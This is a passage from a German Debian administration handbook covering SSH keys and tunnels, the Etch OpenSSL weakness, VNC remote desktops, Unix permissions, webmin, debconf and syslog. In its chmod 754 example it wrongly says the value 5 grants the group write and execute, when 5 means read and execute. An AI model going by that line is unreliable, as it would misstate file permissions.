Der Benutzer erzeugt auf dem Client-Rechner mit dem Befehl ssh-keygen -t rsa ein neues Schlüsselpaar; der öffentliche Schlüssel wird in der Datei ~/.ssh/id_rsa.pub gespeichert und der dazugehörige private Schlüssel in ~/.ssh/id_rsa. Der Benutzer verwendet dann den Befehl ssh-copy-id server, um seinen öffentlichen Schlüssel auf dem Server zur Datei ~/.ssh/authorized_keys hinzuzufügen. Falls der private Schlüssel zur Zeit seiner Erzeugung nicht mit einer „Passphrase“ geschützt wurde, funktionieren alle nachfolgenden Anmeldungen auf dem Server ohne Eingabe eines Passworts. Anderenfalls muss der private Schlüssel jedes Mal erneut unter Eingabe der Passphrase entschlüsselt werden. Glücklicherweise ermöglicht es das Programm ssh-agent, private Schlüssel im Speicher zu halten, so dass das Passwort nicht ständig neu eingegeben werden muss. Hierzu verwendet man einfach (einmal pro Sitzung) den Befehl ssh-add, wobei Voraussetzung ist, dass die Sitzung bereits einer funktionsfähigen Instanz von ssh-agent zugeordnet ist. Debian aktiviert dieses Programm standardmäßig beim Start einer grafischen Sitzung, es kann jedoch durch eine Änderung der Datei /etc/X11/Xsession.options deaktiviert sein. In einer Konsolensitzung kann es manuell mit dem Befehl eval $(ssh-agent) gestartet werden.

SICHERHEIT Schutz des privaten Schlüssels

Wer immer im Besitz des privaten Schlüssels ist, kann sich auf dem entsprechend konfigurierten Konto anmelden. Daher ist der Zugriff auf den privaten Schlüssel durch eine „Passphrase“ geschützt. Selbst wenn jemand in den Besitz eines privaten Schlüssels gelangt (zum Beispiel die Datei ~/.ssh/id_rsa), muss er zusätzlich noch diese Phrase kennen, um ihn verwenden zu können. Dieser zusätzliche Schutz ist jedoch nicht unüberwindlich, und wenn Sie denken, dass die Sicherheit dieser Datei nicht mehr gewährleistet ist, sollten Sie diesen Schlüssel auf den Rechnern, auf denen er installiert wurde, deaktivieren (indem Sie ihn aus authorized_keys entfernen) und durch einen neu erzeugten Schlüssel ersetzen.

KULTUR OpenSSL-Schwachstelle in Debian Etch

Die OpenSSL-Bibliothek, die ursprünglich mit Debian Etch bereitgestellt wurde, hatte ein gravierendes Problem in ihrem Zufallszahlengenerator (RNG). Der zuständige Debian-Betreuer hatte eine Änderung vorgenommen, damit die Bibliothek bei Programmen, die sie verwendeten, keine Warnmeldungen hervorrief, die dann von Programmen zur Fehleranalyse wie zum Beispiel valgrind untersucht werden würden. Leider hatte diese Änderung auch zur Folge, dass der Zufallszahlengenerator nur eine Entropie-Quelle in Abhängigkeit von der Prozesskennung (PID) benutzte, deren 32.000 mögliche Werte keinen ausreichenden Grad an Zufälligkeit boten.

→ http://www.debian.org/security/2008/dsa-1571

Insbesondere, wenn OpenSSL benutzt wurde, um einen Schlüssel zu erzeugen, wurde dieser immer aus einem Satz einiger hunderttausend Schlüssel erstellt (32.000 multipliziert mit einer kleinen Zahl von Schlüssellängen). Hiervon waren SSH-Schlüssel, SSL-Schlüssel und von zahlreichen Anwendungen, wie zum Beispiel OpenVPN, verwendete X.509-Zertifikate betroffen. Ein Eindringling brauchte nur alle Schlüssel auszuprobieren, um unberechtigten Zugriff zu erlangen. Um die Auswirkung des Problems einzuschränken, wurde der SSH-Daemon dahingehend verändert, dass er zweifelhafte Schlüssel, die in den Paketen openssh-blacklist und openssh-blacklist-extra aufgelistet sind, zurückweist. Darüber hinaus ermöglicht es der Befehl ssh-vulnkey, möglicherweise gefährdete Schlüssel im System zu identifizieren.

Eine eingehendere Analyse dieses Vorfalls zeigt, dass er die Folge mehrerer (kleiner) Probleme ist, sowohl beim OpenSSL-Projekt als auch beim Debian-Paketbetreuer. Eine weitverbreitete Bibliothek wie OpenSSL sollte - unverändert - keine Warnungen erzeugen, wenn sie von valgrind überprüft wird. Außerdem sollte der Code (vor allem so empfindliche Bereiche wie der Zufallszahlengenerator) besser kommentiert sein, um derartige Fehler zu vermeiden. Als der Debian-Betreuer sich seinerseits seine Änderungen von den OpenSSL-Entwicklern bestätigen lassen wollte, hat er seine Änderungen lediglich erläutert, aber nicht den entsprechenden Patch zur Überprüfung vorgelegt. Er hat sich auch nicht deutlich als Betreuer des entsprechenden Debian-Pakets ausgewiesen. Schließlich hat er die Änderungen, die er am ursprünglichen Code vorgenommen hatte, nicht deutlich dokumentiert; alle Änderungen wurden zwar in einem Subversion-Repository abgelegt, dabei aber beim Erstellen des Quellpakets zu einem einzigen Patch zusammengefasst.

Es ist unter diesen Umständen schwierig, Korrekturmaßnahmen zu finden, die solche Vorfälle in Zukunft verhindern. Die Lehre, die hieraus gezogen werden kann, ist, dass jede Abweichung, die Debian in Ursprungssoftware einführt, begründet, dokumentiert, möglichst dem Urspungsprojekt vorgelegt und breit veröffentlicht werden muss. Unter diesem Gesichtspunkt wurden das neue Quellpaket-Format („3.0 (quilt)“) und der Debian-Patch-Tracker entwickelt.

→ http://patch-tracker.debian.org

9.2.2.2. Entfernte X11-Anwendungen benutzen

Das SSH-Protokoll ermöglicht die Weiterleitung grafischer Daten („X11“-Sitzung, nach dem Namen des am weitesten verbreiteten grafischen Systems in Unix); der Server stellt hierbei einen besonderen Kanal für diese Daten bereit. Konkret bedeutet dies, dass ein aus der Ferne ausgeführtes, grafisches Programm vom X.org-Server auf dem lokalen Bildschirm dargestellt werden kann, und dass die gesamte Sitzung (Eingabe und Anzeige) abgesichert ist. Da entfernte Anwendungen durch diese Funktion das lokale System beeinträchtigen können, ist sie standardmäßig deaktiviert. Sie kann aktiviert werden, indem man in der Serverkonfigurationsdatei (/etc/ssh/sshd_config) die Option X11Forwarding yes einstellt. Schließlich muss der Benutzer diese Funktion anfordern, indem er die Option -X zur Befehlszeile ssh hinzufügt.

9.2.2.3. Verschlüsselte Tunnel mit Port-Weiterleitung einrichten

Die Optionen -R und -L des Befehls ssh ermöglichen es, „verschlüsselte Tunnel“ zwischen zwei Rechnern zu erstellen, und so einen lokalen TCP-Port (siehe ZURÜCK ZU DEN GRUNDLAGEN TCP/UDP in der Seitenleiste) sicher an einen entfernten Rechner weiterzuleiten und umgekehrt.

WÖRTERVERZEICHNIS Tunnel

Das Internet und die meisten mit ihm verbundenen LANs arbeiten im Paket-Modus und nicht in einem fest geschalteten Modus. Das heißt, dass ein Paket, das von einem Rechner zu einem anderen verschickt wird, auf dem Weg zu seinem Ziel an mehreren dazwischenliegenden Routern angehalten wird. Dennoch kann man einen fest geschalteten Betrieb nachahmen, indem der Datenstrom in normale IP-Pakete eingeschlossen wird. Diese Pakete laufen über ihren üblichen Weg, jedoch wird der Datenstrom am Ziel dann unverändert rekonstruiert. Man nennt dies einen „Tunnel“ in Analogie zu einem Straßentunnel, bei dem Fahrzeuge direkt vom Eingang (Eingabe) zum Ausgang (Ausgabe) fahren, ohne auf irgendwelche Kreuzungen zu stoßen, im Gegensatz zu einem Weg an der Oberfläche, bei dem es Kreuzungen und Richtungswechsel gibt.

Man kann bei dieser Gelegenheit den Tunnel verschlüsseln: der Datenstrom, der durch ihn hindurchläuft, ist dann von außen unkenntlich, wird aber am Tunnelausgang wieder in eine unverschlüsselte Form zurückgeführt.

ssh -L 8000:server:25 intermediary eröffnet eine SSH-Sitzung mit dem Host intermediary und nimmt am lokalen Port 8000 Verbindungen an (siehe Figure 9.2, “Einen lokalen Port mit SSH weiterleiten”). Für jede Verbindung, die an diesem Port hergestellt wird, baut ssh eine Verbindung vom Rechner intermediary zum Port 25 des server auf und verknüpft beide Verbindungen.

ssh -R 8000:server:25 intermediary eröffnet auch eine SSH-Sitzung zum Rechner intermediary, aber ssh nimmt dann auf diesem Rechner an Port 8000 Verbindungen an (siehe Figure 9.3, “Einen entfernten Port mit SSH weiterleiten”). Jede Verbindung, die an diesem Port hergestellt wird, veranlasst ssh, eine Verbindung vom lokalen Rechner zum Port 25 des server zu öffnen und beide Verbindungen miteinander zu verknüpfen.

In beiden Fällen werden Verbindungen zu Port 25 auf dem Host server hergestellt, die durch den SSH-Tunnel laufen, der zwischen dem lokalen Rechner und dem Rechner intermediary hergestellt wurde. Im ersten Fall ist der Eingang zum Tunnel der lokale Port 8000, und die Daten laufen zum Rechner intermediary, bevor sie zum server im „öffentlichen“ Netzwerk geleitet werden. Im zweiten Fall sind Ein- und Ausgang im Tunnel vertauscht: der Eingang ist Port 8000 auf dem Rechner intermediary, der Ausgang ist auf dem lokalen Host, und die Daten werden dann zum server geleitet. In der Praxis ist der Server normalerweise entweder der lokale Rechner oder der intermediäre. Auf diese Weise sichert SSH die Verbindung von einem Ende zum anderen.

Figure 9.2. Einen lokalen Port mit SSH weiterleiten

Figure 9.3. Einen entfernten Port mit SSH weiterleiten

9.2.3. Entfernte grafische Arbeitsflächen benutzen

VNC (Virtual Network Computing) ermöglicht aus der Ferne Zugriff auf grafische Arbeitsflächen.

Dieses Hilfsprogramm wird vor allem zur technischen Unterstützung eingesetzt; der Administrator kann die Fehler sehen, denen ein Benutzer gegenübersteht, und ihm die richtige Vorgehensweise zeigen, ohne vor Ort sein zu müssen.

Zunächst muss der Benutzer den Zugriff auf seine Sitzung erlauben. Die grafischen Arbeitsumgebungen GNOME und KDE enthalten vino beziehungsweise krfb, die eine grafische Schnittstelle bereitstellen, über die der Zugriff auf eine bestehende Sitzung mittels VNC möglich ist (im Menü zu finden unter System → Einstellungen → Entfernter Bildschirm beziehungsweise K-Menü → Internet → Krfb - Arbeitsfläche freigeben). Bei anderen grafischen Arbeitsumgebungen dient der Befehl x11vnc (aus dem gleichnamigen Debian-Paket) diesem Zweck; man kann ihn für den Benutzer über ein besonderes Icon verfügbar machen.

Wenn die grafische Sitzung durch VNC freigeschaltet wurde, muss sich der Administrator über einen VNC-Client mit ihr verbinden. GNOME verfügt zu diesem Zweck über vinagre und tsclient, während KDE krdc enthält (im Menü unter K-Menü → Internet → Krdc - Verbindung zu Fremdrechner). Es gibt weitere VNC-Clients, die die Befehlszeile verwenden, wie zum Beispiel xvnc4viewer im gleichnamigen Debian-Paket. Sobald die Verbindung hergestellt ist, kann der Administrator sehen, was vorgeht, kann aus der Ferne auf dem Rechner arbeiten und dem Benutzer zeigen, wie er vorgehen soll.

SICHERHEIT VNC über SSH

Falls Sie über VNC eine Verbindung herstellen, Ihre Daten aber nicht im Klartext über das Netzwerk schicken wollen, können Sie sie in einem SSH-Tunnel verbergen (siehe Section 9.2.2.3, “Verschlüsselte Tunnel mit Port-Weiterleitung einrichten”). Sie müssen nur wissen, dass VNC standardmäßig den Port 5900 für den ersten Bildschirm („localhost:0“ genannt), 5901 für den zweiten („localhost:1“ genannt) usw. verwendet.

Der Befehl ssh -L localhost:5901:localhost:5900 -N -T rechner erstellt einen Tunnel zwischen dem lokalen Port 5901 in der localhost-Schnittstelle und Port 5900 auf dem Host rechner. Das erste „localhost“ beschränkt SSH darauf, nur an dieser Schnittstelle des lokalen Rechners auf Anfragen zu warten. Das zweite „localhost“ bezeichnet die Schnittstelle des entfernten Rechners, die den Netzverkehr entgegennehmen wird, der in „localhost:5901“ eintritt. Auf diese Weise verbindet vncviewer localhost:1 den VNC-Client mit dem entfernten Bildschirm, obwohl Sie den Namen des lokalen Rechners angeben.

Wenn die VNC-Sitzung beendet ist, vergessen Sie nicht, den Tunnel zu schließen, indem Sie auch die entsprechende SSH-Sitzung beenden.

ZURÜCK ZU DEN GRUNDLAGEN Display Manager

gdm, kdm und xdm sind Display Manager. Sie übernehmen kurz nach dem Hochfahren die Kontrolle über die grafische Schnittstelle, um dem Benutzer einen Anmeldebildschirm bereitzustellen. Sobald der Benutzer sich angemeldet hat, führen sie die zum Starten einer grafischen Arbeitssitzung erforderlichen Programme aus.

VNC funktioniert auch für mobile Anwender oder für Angestellte, die sich gelegentlich von zu Hause aus anmelden müssen, um auf einen entfernten Bildschirm ähnlich dem an ihrem Arbeitsplatz zuzugreifen. Die Konfigurierung eines derartigen Dienstes ist komplizierter: zunächst installieren Sie das Paket vnc4server, passen die Konfiguration des Display Managers dahingehend an, dass er Anfragen an XDMCP Query annimmt (für gdm kann dies grafisch über das Menü System → Systemverwaltung → Anmeldefenster und dann den Reiter „Entfernt“ geschehen; beachten Sie, dass dies nur für gdm gilt und nicht für gdm3, die Version, die standardmäßig in Squeeze installiert ist) und starten schließlich den VNC-Server mit inetd, so dass eine Sitzung automatisch beginnt, wenn ein Benutzer sich anzumelden versucht. Sie können zum Beispiel folgende Zeile zu /etc/inetd.conf hinzufügen:

5950 stream tcp nowait nobody.tty /usr/bin/Xvnc Xvnc -inetd -query localhost -once -geometry 1024x768 -depth 16 securitytypes=none

Das Umleiten ankommender Verbindungen zum Display Manager löst das Problem der Legitimierung, weil nur Benutzer mit einem lokalen Konto den Anmeldeschirm von gdm passieren können (oder in gleicher Weise kdm, xdm usw.). Da dieses Verfahren problemlos mehrere gleichzeitige Anmeldungen ermöglicht (vorausgesetzt, dass der Server ausreichend leistungsfähig ist), kann es sogar dazu verwendet werden, vollständige Arbeitsflächen für mobile Benutzer bereitzustellen (oder für weniger leistungsstarke Arbeitsplatzrechner, die als Thin Clients konfiguriert sind). Benutzer melden sich einfach mit vncviewer server:50 beim Bildschirm des Servers an, da der verwendete Port 5950 ist.

9.3. Berechtigungen verwalten

Linux ist eindeutig ein Mehrbenutzersystem, und daher ist es erforderlich, ein Berechtigungssystem bereitzustellen, um die genehmigten Arbeitsvorgänge an Dateien und Verzeichnissen zu kontrollieren, einschließlich aller Systemressourcen und Laufwerke (in einem Unix-System wird jedes Laufwerk als eine Datei oder ein Verzeichnis dargestellt). Dies ist allen Unix-Systemen gemein, aber eine Erinnerung ist immer sinnvoll, vor allem, da es einige sehr interessante und relativ unbekannte Verwendungen gibt.

Jede Datei und jeder Ordner hat spezifische Berechtigungen für drei Kategorien von Benutzern:

seinen Eigentümer (symbolisiert durch u wie in „user“);

seine Eigentümergruppe (symbolisiert durch g wie in „group“), die alle Mitglieder der Gruppe repräsentiert;

die Sonstigen (symbolisiert durch o wie in „other“).

Drei Arten von Berechtigungen können kombiniert werden:

Lesen (symbolisiert durch r wie in „read“);

Schreiben (oder Ändern, symbolisiert durch w wie in „write“);

Ausführen (symbolisiert durch x wie in „eXecute“).

Bei einer Datei sind diese Berechtigungen leicht zu verstehen: Lesezugriff erlaubt das Lesen des Inhalts (einschließlich des Kopierens), Schreibzugriff erlaubt es, sie zu verändern, und Ausführungszugriff erlaubt es Ihnen, sie auszuführen (was nur funktionieren wird, wenn sie ein Programm ist).

SICHERHEIT setuid und setgid bei ausführbaren Dateien

Zwei besondere Berechtigungen sind für ausführbare Dateien wichtig: setuid und setgid (durch den Buchstaben „s“ symbolisiert). Beachten Sie, dass wir häufig von einem „Bit“ sprechen, da jeder dieser booleschen Werte durch eine 0 oder eine 1 dargestellt werden kann. Diese beiden Berechtigungen erlauben es jedem Benutzer, das Programm mit den Rechten des Eigentümers beziehungsweise der Gruppe auszuführen. Dieses Verfahren gewährt Zugriff auf Funktionsmerkmale, die Rechte einer höheren Ebene erfordern, als Sie normalerweise haben würden.

Da ein Root-Programm mit setuid durchgängig unter der Identität des Super-Users läuft, ist es sehr wichtig sicherzustellen, dass es sicher und verlässlich ist. Ein Benutzer, dem es gelingt, es zu unterlaufen, um einen Befehl seiner Wahl aufzurufen, könnte sich anschließend als Root-Benutzer ausgeben und so alle Rechte an dem System erlangen.

Ein Verzeichnis wird anders gehandhabt. Lesezugriff gewährt das Recht, die Liste der Einträge (Dateien und Verzeichnisse) durchzugehen, Schreibzugriff erlaubt es, Dateien zu erstellen oder zu löschen, und Ausführungszugriff erlaubt es, es zu durchqueren (insbesondere dorthin mit dem Befehl cd zu gehen). Ein Verzeichnis durchqueren zu können, ohne es lesen zu können, ermöglicht es, auf diejenigen darin enthaltenen Einträge zuzugreifen, die namentlich bekannt sind, aber nicht, sie zu finden, wenn Sie nicht wissen, dass sie vorhanden sind oder wie sie heißen.

SICHERHEIT setgid-Verzeichnis und Sticky-Bit

Das setgid-Bit gilt auch für Verzeichnisse. Und neu erstellte Einträge in solchen Verzeichnissen werden automatisch der Benutzergruppe des übergeordneten Verzeichnisses zugeordnet, anstatt wie gewöhnlich die Hauptgruppe des Erstellers zu übernehmen. Durch diese Einstellung wird vermieden, dass der Benutzer die Hauptgruppe des Eintrags ändern muss (mit dem Befehl newgrp), wenn er in einem Verzeichnisbaum arbeitet, der von mehreren Benutzern derselben Gruppe gemeinsam genutzt wird.

Das „Sticky“-Bit (symbolisiert durch den Buchstaben „t“) ist ein Recht, das nur in Verzeichnissen sinnvoll ist. Es wird vor allem bei temporären Verzeichnissen verwendet, bei denen jeder Schreibzugriff hat (wie zum Beispiel bei /tmp/): es schränkt das Löschen von Dateien ein, so dass dies nur ihr Eigentümer (oder der Eigentümer des übergeordneten Verzeichnisses) kann. Ohne dieses Recht könnte jeder die Dateien anderer Benutzer in /tmp/ löschen.

Drei Befehle steuern die einer Datei zugeordneten Berechtigungen:

chown benutzer datei ändert den Eigentümer der Datei;

chgrp gruppe datei ändert die Eigentümergruppe;

chmod rechte datei ändert die Berechtigungen für die Datei.

Es gibt zwei Arten, die Berechtigungen darzustellen. Von ihnen ist die symbolische Darstellung wohl am einfachsten zu verstehen und zu merken. Es geht um die oben erwähnten Buchstabensymbole. Sie können Berechtigungen für jede Kategorie von Benutzern festlegen (u/g/o), indem Sie sie entweder ausdrücklich setzen (mit =), sie hinzufügen (+) oder sie entfernen (-). So gewährt die Formel u=rwx,g+rw,o-r dem Eigentümer Lese-, Schreib- und Ausführungszugriff, fügt Lese- und Schreibzugriff für die Eigentümergruppe hinzu und entfernt den Lesezugriff für andere Benutzer. Rechte, die in einem solchen Befehl nicht durch Hinzufügen oder Entfernen modifiziert werden, bleiben unverändert. Der Buchstabe a, für „all“, deckt alle drei Benutzerkategorien ab, so dass a=rx allen drei Kategorien die gleichen Rechte gewährt (Lesen und Ausführen, aber nicht Schreiben).

Die (oktale) Zahlendarstellung ordnet jeder Berechtigung einen Wert zu: 4 für Lesen, 2 für Schreiben und 1 für Ausführen. Wir verknüpfen jede Kombination von Berechtigungen durch die Summe der Zahlen. Jeder Wert wird dann einer anderen Kategorie von Benutzern zugeordnet, indem sie von vorne nach hinten in der üblichen Reihenfolge (Eigentümer, Gruppe, Sonstige) angeordnet werden.

So vergibt zum Beispiel der Befehl chmod 754 datei die folgenden Berechtigungen: Schreiben, Lesen und Ausführen für den Eigentümer (da 7 = 4 + 2 + 1); Schreiben und Ausführen für die Gruppe (da 5 = 4 + 1); nur Lesen für Sonstige. Die 0 bedeutet keine Berechtigung; so gestattet chmod 600 datei dem Eigentümer Lese-/Schreibzugriff, und keine Berechtigungen für alle anderen. Die häufigsten Berechtigungskombinationen sind 755 für ausführbare Dateien und Verzeichnisse und 644 für Dateien, die Daten enthalten.

Um spezielle Berechtigungen darzustellen, können Sie dieser Zahl eine vierte Ziffer nach dem gleichen Prinzip voranstellen, wobei die setuid-, setgid- und sticky-Bits jeweils 4, 2 und 1 sind. chmod 4754 fügt das setuid-Bit den zuvor beschriebenen Berechtigungen hinzu.

Beachten Sie, dass die oktale Schreibweise es nur erlaubt, alle Berechtigungen für eine Datei gleichzeitig zu setzen; Sie können sie nicht dazu benutzen, einfach eine neue Berechtigung hinzuzufügen, wie den Lesezugriff für die Eigentümergruppe, da Sie die bestehenden Berechtigungen berücksichtigen und den entsprechenden neuen numerischen Wert berechnen müssen.

TIPP Rekursives Verfahren

Manchmal müssen wir die Berechtigungen für einen ganzen Dateibaum ändern. Alle oben beschriebenen Befehle haben eine -R-Option, um rekursiv in Unterverzeichnissen zu agieren.

Die Unterscheidung zwischen Verzeichnissen und Dateien verursacht manchmal Probleme bei rekursiven Aktionen. Daher wurde für die symbolische Darstellung von Berechtigungen der Buchstabe „X“ eingeführt. Er stellt ein Ausführungsrecht dar, das nur für Verzeichnisse gilt (und nicht für Dateien, die dieses Recht nicht haben). So fügt chmod -R a+X verzeichnis Ausführungsrechte für alle Kategorien von Benutzern (a) nur bei allen den Unterverzeichnissen und Dateien hinzu, bei denen wenigstens eine Benutzerkategorie (selbst wenn dies ihr einziger Eigentümer ist) bereits Ausführungsrechte hat.

TIPP Den Eigentümer und die Gruppe wechseln

Häufig möchten Sie die Gruppe einer Datei und gleichzeitig ihren Eigentümer wechseln. Der Befehl chown hat hierfür eine besondere Syntax: chown eigentümer:gruppe

WEITERE SCHRITTE umask

Wenn eine Anwendung eine Datei erstellt, teilt sie ihr vorläufige Berechtigungen zu, wissend dass das System automatisch bestimmte Berechtigungen entfernt, die mit dem Befehl umask vorgegeben wurden. Geben Sie umask in einer Shell ein; Sie werden eine Maske wie zum Beispiel 0022 sehen. Dies ist eine oktale Darstellung der Berechtigungen, die planmäßig entfernt werden (in diesem Fall die Schreibrechte für die Gruppe und sonstige Benutzer).

Wenn Sie einen neuen oktalen Wert eingeben, verändert der Befehl umask die Maske. Bei Verwendung in der Startdatei einer Shell (zum Beispiel ~/.bash_profile) ändert er grundsätzlich die Standardmaske für Ihre Arbeitssitzungen.

9.4. Administrations-Schnittstellen

Eine grafische Schnittstelle für die Administration zu benutzen, ist unter verschiedenen Umständen interessant. Ein Administrator kennt nicht unbedingt alle Konfigurationseinzelheiten für alle seine Dienste, und er hat nicht immer Zeit, auf die Suche nach der Dokumentation für eine Angelegenheit zu gehen. Eine grafische Schnittstelle für die Administration kann daher die Bereitstellung eines neuen Dienstes beschleunigen. Sie kann auch die Einrichtung von Diensten vereinfachen, die schwierig zu konfigurieren sind.

Eine derartige Schnittstelle ist nur eine Hilfe und kein Selbstzweck. Auf jeden Fall muss der Administrator ihr Verhalten beherrschen, um mögliche Probleme verstehen und umgehen zu können.

Da keine Schnittstelle vollkommen ist, könnten Sie versucht sein, verschiedene Lösungen auszuprobieren. Dies sollte jedoch möglichst vermieden werden, da verschiedene Programme manchmal in ihren Funktionsweisen zueinander inkompatibel sind. Selbst wenn sie alle darauf abzielen, sehr flexibel zu sein, und versuchen, die Konfigurationsdatei als ihren einzigen Bezugspunkt zu verwenden, sind sie nicht immer in der Lage, auch externe Veränderungen einzubeziehen.

9.4.1. Administrieren mit einer Webschnittstelle: webmin

Dies ist ohne Zweifel eine der erfolgreichsten Administrations-Schnittstellen. Es ist ein modulares System, das mittels eines Webbrowsers bedient wird und ein weites Spektrum an Bereichen und Werkzeugen abdeckt. Darüber hinaus ist es internationalisiert und in vielen Sprachen verfügbar.

Leider ist webmin seit Etch nicht mehr in Debian enthalten. Sein Debian-Betreuer - Jaldhar H. Vyas - hat die Pakete, die er erstellt hatte, entfernt, da er nicht mehr die erforderliche Zeit hatte, um sie auf einem akzeptablen Qualitätsniveau zu halten. Kein anderer hat die Aufgabe offiziell übernommen, daher enthält Squeeze das Paket webmin nicht.

Auf der Webseite webmin.com ist jedoch ein inoffizielles Paket veröffentlicht. Im Gegensatz zu den in Sarge enthaltenen Paketen, ist dieses Paket monolithisch; alle seine Konfigurierungsmodule werden standardmäßig installiert und aktiviert, selbst wenn der dazugehörige Dienst auf dem Rechner nicht installiert ist.

SICHERHEIT Das Root-Passwort ändern

Beim ersten Anmelden dienen der Benutzername von Root und sein normales Passwort zur Identifizierung. Es ist empfehlenswert, das für webmin verwendete Passwort möglichst bald zu ändern, so dass im Falle eines Angriffsversuchs das Root-Passwort für den Server nicht betroffen ist, selbst wenn hierdurch dem Rechner wichtige Administrationsrechte verliehen werden.

Vorsicht! Da webmin sehr viele Funktionen hat, könnte ein böswilliger Benutzer bei einem Zugriff die Sicherheit des gesamten Systems gefährden. Im Allgemeinen wird deshalb von der Verwendung derartiger Schnittstellen bei wichtigen Systemen mit starken Sicherheitsauflagen (Firewall, sensible Server usw.) abgeraten.

Webmin wird durch eine Webschnittstelle bedient, es erfordert aber nicht die Installation von Apache. Im Grunde hat diese Software ihren eigenen integrierten Mini-Webserver. Dieser Server wartet an Port 10000 auf Anfragen und nimmt sichere HTTP-Verbindungen an.

Die mitgelieferten Module decken eine große Vielfalt von Diensten ab, unter anderem:

alle Basisdienste: Anlegen von Benutzern und Gruppen, Verwaltung von crontab-Dateien, Init-Skripten, Betrachtung von Protokolldateien usw.

bind: Konfigurierung eines DNS-Servers (Namensdienst);

postfix: Konfigurierung eines SMTP-Servers (E-Mail);

inetd: Konfigurierung des Superservers inetd;

quota: Verwaltung der Benutzer-Quota;

dhcpd: Konfigurierung eines DHCP-Servers;

proftpd: Konfigurierung eines FTP-Servers;

samba: Konfigurierung eines Samba-Dateiservers;

software: Installierung und Entfernung von Software aus Debian-Paketen und Systemaktualisierungen.

Die Administrations-Schnittstelle ist in einem Webbrowser über die Adresse https://localhost:10000 zu erreichen. Vorsicht! Nicht alle Module sind unmittelbar nutzbar. Manchmal müssen sie durch die Angabe der Speicherorte der jeweiligen Konfigurationsdateien und einiger ausführbarer Dateien (Programme) konfiguriert werden. Häufig wird das System Sie freundlich hierauf hinweisen, wenn es ihm nicht gelingt, ein gewünschtes Modul zu aktivieren.

ALTERNATIVE gnome-system-tools

Das GNOME-Projekt bietet in dem Paket gnome-system-tools ebenfalls eine grafische Administrations-Schnittstelle an. Es ist standardmäßig bei einem Desktop-System installiert und umfasst Anwendungen, die im Menü unter System → Administration zu finden sind. Diese Anwendungen sind leicht zu bedienen, decken aber nur eine begrenzte Anzahl von Basisdiensten ab: Verwaltung von Benutzern und Gruppen, Zeiteinstellung, Netzwerkkonfigurierung, Plattenverwaltung und Verwaltung der Startprogramme.

9.4.2. Pakete konfigurieren: debconf

Viele Pakete werden automatisch konfiguriert, nachdem während der Installierung einige Fragen durch das Programm Debconf gestellt wurden. Diese Pakete können mit dem Befehl dpkg-reconfigure paket neu konfiguriert werden.

In den meisten Fällen sind diese Einstellungen sehr einfach; es werden nur einige wichtige Variablen in der Konfigurationsdatei geändert. Diese Variablen sind häufig zwischen zwei „Begrenzungszeilen“ gruppiert, so dass eine Neukonfigurierung des Pakets nur Einfluss auf den eingeschlossenen Bereich hat. In anderen Fällen wird eine Neukonfigurierung nichts ändern, falls das Skript eine manuelle Änderung der Konfigurationsdatei entdeckt, um so diese menschlichen Eingriffe zu bewahren (da das Skript nicht sicherstellen kann, dass seine eigenen Veränderungen nicht die vorhandenen Einstellungen stören würden).

DEBIAN-RICHTLINIEN Veränderungen bewahren

Die Debian-Richtlinien legen ausdrücklich fest, dass alles getan werden sollte, um manuelle Veränderungen einer Konfigurationsdatei zu bewahren. Daher treffen immer mehr Skripten Vorsichtsmaßnahmen, wenn sie Konfigurationsdateien editieren. Das allgemeine Prinzip ist einfach: das Skript nimmt nur dann Änderungen vor, wenn es den Status der Konfigurationsdatei kennt, was durch einen Vergleich der Prüfsumme der Datei mit derjenigen der letzten automatisch erzeugten Datei überprüft wird. Falls sie gleich sind, ist es dem Skript erlaubt, die Konfigurationsdatei zu ändern. Anderenfalls entscheidet es, dass die Datei verändert wurde und fragt, welche Aktion es durchführen soll (eine neue Datei installieren, die alte Datei speichern oder zu versuchen, die Änderungen in die bestehende Datei zu integrieren). Dieses Vorsorgeprinzip gab es lange Zeit nur bei Debian, inzwischen haben aber auch andere Distributionen damit begonnen, es sich zu eigen zu machen.

Das Programm ucf (aus dem gleichnamigen Debian-Paket) kann dazu verwendet werden, ein derartiges Verhalten umzusetzen.

9.5. syslog Systemereignisse

9.5.1. Prinzip und Ablauf

Der rsyslogd-Daemon ist für das Sammeln von Meldungen zuständig, die von den Anwendungen und vom Kernel kommen, und für ihre weitere Verteilung in Protokolldateien (die normalerweise im Verzeichnis /var/log/ gespeichert werden). Er richtet sich nach der Konfigurationsdatei /etc/rsyslog.conf.

ERGÄNZUNGEN Wechsel von sysklogd zu rsyslog

Debian Squeeze installiert standardmäßig rsyslog, während ältere Versionen (bis zu Etch, jedoch nicht Lenny) sysklogd benutzt haben. Der Übergang verlief nicht automatisch, und im Falle eines Upgrades von Etch sollten Sie rsyslog manuell installieren, falls Sie mit Debians Standardauswahl synchron bleiben wollen.

Die Umstellung vom einen auf das andere ist unkompliziert, da die Standardkonfiguration sehr ähnlich ist, und die Syntax der älteren Datei /etc/syslog.conf mit der neueren Datei /etc/rsyslog.conf kompatibel ist.

Jede Protokollmeldung ist einem Anwendungsuntersystem zugeordnet (in der Dokumentation „facility“ genannt):

auth und authpriv: für die Authentifizierung;

cron: kommt von den Diensten für die Aufgabenterminierung cron und atd;

daemon: betrifft einen nicht näher bestimmten Daemon (DNS, NTP usw.);

ftp: bezieht sich auf den FTP-Server;

kern: eine vom Kernel kommende Meldung;

lpr: kommt vom Druck-Subsystem;

mail: kommt vom E-Mail-Subsystem;

news: Usenet-Subsystemmeldung (insbesondere von einem NNTP-Server [Network News Transfer Protocol], der Nachrichtenforen verwaltet);

syslog: Meldungen vom syslogd-Server selbst;

user: Benutzermeldungen (allgemein);

uucp: Meldungen vom UUCP-Server (Unix to Unix Copy Program, ein altes vor allem zur Verteilung von E-Mails verwendetes Protokoll);

local0 bis local7: für die lokale Verwendung reserviert.

Jeder Meldung ist auch eine Prioritätsstufe zugeordnet. Hier sind sie in abnehmender Reihenfolge:

emerg: „Hilfe!“ Es gibt einen Notfall, das System ist möglicherweise unbrauchbar.

alert: Beeilung! Jede Verzögerung kann gefährlich sein, es muss sofort etwas unternommen werden.

crit: die Umstände sind kritisch;

err: Fehler;

warn: Warnung (möglicher Fehler);

notice: die Umstände sind normal, aber die Meldung ist wichtig;

info: aufschlussreiche Meldung;

debug: Fehlerbeseitigungsmeldung.

9.5.2. Die Konfigurationsdatei

